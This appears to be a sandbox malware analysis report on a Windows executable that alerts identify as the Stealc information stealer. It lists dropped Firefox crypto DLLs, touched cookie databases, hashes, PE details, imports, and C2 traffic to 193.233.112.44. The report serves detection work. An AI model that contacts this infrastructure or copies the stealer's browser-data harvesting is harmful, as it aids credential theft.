File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.400411829412859
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NJna3TEAEr.exe
File size:	330'408 bytes
MD5:	c57f035e099bfe7f8d56917a22266dc9
SHA1:	88a4ab3cef2b3d293b6d94b8d5b38298d1ec6d87
SHA256:	d075bbba29912ff7a321ee5dcb32159b9de8e27e716a1aad9ed52bb9d9ccc4a3
SHA512:	836f345be084eeaef97144faa845a697f3c40a5f643088ee355d71cbedac23506c4d53267220bfa467872e850faebbc5a3919fbeb5628534619d39fbcbf1e1e4
SSDEEP:	6144:Mihi8LYtUokCulxMfpbLve/NWEFQnE7w+Uw3NKR9hU/W9p27:rUtUoH3RvAcEFO4wx8KRF9Q7
TLSH:	77646C32F65018BDE463417C95DE5F2ADB6978320310DEDB53D00A852FE22F5AD39A2B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...B..f...........

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x4169f0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FE8842 [Thu Oct 3 12:04:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	8e9e6de8c6aa184371108e1074479bb3

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	16/01/2023 01:00:00 16/01/2026 00:59:59
Subject Chain	CN=Avast Software s.r.o., O=Avast Software s.r.o., L=Praha, C=CZ
Version:	3
Thumbprint MD5:	88F0356B1045C86B3BE429E369E41C0B
Thumbprint SHA-1:	22C7A21648690E1B610F1E964AFB3044EAE24335
Thumbprint SHA-256:	8C5E3683E3D73A2E9C9452FC91757931A5333EAE9670BAF00874D3C8D6D6A52A
Serial:	015A6BEC4D7F549FE525C852DF670E13

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 4Ch
call 00007F4B0853F87Ah
call 00007F4B08556E75h
push 00420AEFh
lea ecx, dword ptr [ebp-0Ch]
call 00007F4B08557D48h
call 00007F4B0853E7D3h
call 00007F4B0853E75Eh
call 00007F4B0853E709h
call 00007F4B0853E814h
call 00007F4B08553D5Fh
call 00007F4B0853E77Ah
call 00007F4B08554E35h
push eax
lea eax, dword ptr [ebp-4Ch]
push eax
push 00421110h
lea ecx, dword ptr [ebp-40h]
push ecx
call 00007F4B08554EB2h
push eax
lea edx, dword ptr [ebp-34h]
push edx
push 0042110Ch
lea eax, dword ptr [ebp-28h]
push eax
mov ecx, dword ptr [0064A540h]
push ecx
lea edx, dword ptr [ebp-1Ch]
push edx
lea ecx, dword ptr [ebp-0Ch]
call 00007F4B08557F61h
mov ecx, eax
call 00007F4B08557F5Ah
mov ecx, eax
call 00007F4B08557F53h
mov ecx, eax
call 00007F4B08557F4Ch
mov ecx, eax
call 00007F4B08557F45h
push eax
lea ecx, dword ptr [ebp-0Ch]
call 00007F4B08557E2Ch
lea ecx, dword ptr [ebp-4Ch]
call 00007F4B08557D84h
lea ecx, dword ptr [ebp-40h]
call 00007F4B08557D7Ch
lea ecx, dword ptr [ebp-34h]
call 00007F4B08557D74h
lea ecx, dword ptr [ebp-28h]
call 00007F4B08557D6Ch
lea ecx, dword ptr [ebp-1Ch]
call 00007F4B08557D64h
mov eax, 00000001h
test eax, eax

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2aa88	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x261000	0x139e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x4e000	0x2aa8	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25c000	0x24e0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1cc8f	0x1ce00	772877cbef91323cce1e5e6fd7751dfb	False	0.468259604978355	Matlab v4 mat-file (little endian) \352\316A, numeric, rows 4316256, columns 0	6.091301719361258	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1e000	0xcfec	0xd000	c7e3fcfcf33a62c9ecc6121a39a247bb	False	0.5267991286057693	data	6.65476400584908	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b000	0x2303a4	0x1e400	47130f1bd451e62a6f3377958ec20b2f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x25c000	0x459e	0x4600	8ab3c7ccd47f8b4178413c498003e08e	False	0.4401227678571429	data	4.493567457805053	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x261000	0x139e	0x1400	1174b4d90de93545891ea1ead1065500	False	0.3041015625	data	3.973069351199475	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x261140	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.5574324324324325
RT_ICON	0x261268	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.44508670520231214
RT_ICON	0x2617d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.4583333333333333
RT_ICON	0x261ab8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.39305054151624547
RT_GROUP_ICON	0x262360	0x3e	data	0.8387096774193549

Imports

DLL

Import

msvcrt.dll

strncpy, ??_V@YAXPAX@Z, memchr, ??_U@YAPAXI@Z, strtok, atexit, strtok_s, strcpy_s, vsprintf_s, memmove, strlen, malloc, free, memcmp, ??2@YAPAXI@Z, memset, memcpy, __CxxFrameHandler3

KERNEL32.dll

GetCurrentProcess, RaiseException, GetStringTypeW, MultiByteToWideChar, LCMapStringW, IsValidCodePage, GetOEMCP, lstrlenA, HeapAlloc, GetProcessHeap, VirtualProtect, WaitForSingleObject, CreateProcessA, lstrcatA, VirtualQueryEx, OpenProcess, ReadProcessMemory, WriteFile, GetACP, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, TerminateProcess, InitializeCriticalSectionAndSpinCount, LeaveCriticalSection, EnterCriticalSection, RtlUnwind, GetProcAddress, GetModuleHandleW, ExitProcess, Sleep, GetStdHandle, GetModuleFileNameW, GetLastError, LoadLibraryW, TlsGetValue, TlsSetValue, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, WideCharToMultiByte

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T23:17:00.186594+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:00.561769+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:00.581827+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	193.233.112.44	80	192.168.2.5	49710	TCP
2024-10-03T23:17:00.934330+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:00.942164+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	193.233.112.44	80	192.168.2.5	49710	TCP
2024-10-03T23:17:01.760607+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:02.378460+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:06.714030+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:07.941100+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:08.976710+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:09.829722+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:11.915696+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:12.672556+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49710	193.233.112.44	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 23:16:56.212635994 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:56.212677956 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:56.212750912 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:56.247422934 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:56.247440100 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:56.897269011 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:56.897375107 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:56.976870060 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:56.976890087 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:56.977917910 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:56.977983952 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:56.979656935 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:57.027398109 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:57.167226076 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:57.167314053 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:57.167406082 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:57.167411089 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:57.167443991 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:57.167455912 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:57.167468071 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:57.167475939 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:57.167535067 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:57.167584896 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:57.175642967 CEST	49708	443	192.168.2.5	149.154.167.99
Oct 3, 2024 23:16:57.175664902 CEST	443	49708	149.154.167.99	192.168.2.5
Oct 3, 2024 23:16:57.202908039 CEST	49709	80	192.168.2.5	91.214.78.145
Oct 3, 2024 23:16:57.208348989 CEST	80	49709	91.214.78.145	192.168.2.5
Oct 3, 2024 23:16:57.208466053 CEST	49709	80	192.168.2.5	91.214.78.145
Oct 3, 2024 23:16:57.208579063 CEST	49709	80	192.168.2.5	91.214.78.145
Oct 3, 2024 23:16:57.213404894 CEST	80	49709	91.214.78.145	192.168.2.5
Oct 3, 2024 23:16:58.920775890 CEST	80	49709	91.214.78.145	192.168.2.5
Oct 3, 2024 23:16:58.921010971 CEST	49709	80	192.168.2.5	91.214.78.145
Oct 3, 2024 23:16:58.921040058 CEST	49709	80	192.168.2.5	91.214.78.145
Oct 3, 2024 23:16:58.924014091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:16:58.927104950 CEST	80	49709	91.214.78.145	192.168.2.5
Oct 3, 2024 23:16:58.930022001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:16:58.930161953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:16:58.930766106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:16:58.936109066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:16:59.765801907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:16:59.766010046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:16:59.769781113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:16:59.775291920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.186527014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.186594009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.187827110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.193455935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.561665058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.561707973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.561769009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.563999891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.576539040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.581826925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.934245110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.934300900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.934329987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.934340000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.934366941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.934380054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.934381008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.934415102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.934418917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.934454918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.934457064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.934505939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.935228109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.935271978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:00.935293913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.935308933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.937117100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:00.942163944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.293642998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.293744087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:01.327572107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:01.327617884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:01.332554102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.332659960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.332689047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.332739115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.332766056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.332797050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.332823992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.760528088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:01.760607004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.006616116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.011610031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.378365993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.378410101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.378459930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.378464937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.378503084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.378505945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.378505945 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.378537893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.378544092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.378577948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.378581047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.378623009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.379041910 CEST	80	49710	193.233.112.44	192.168.2.5
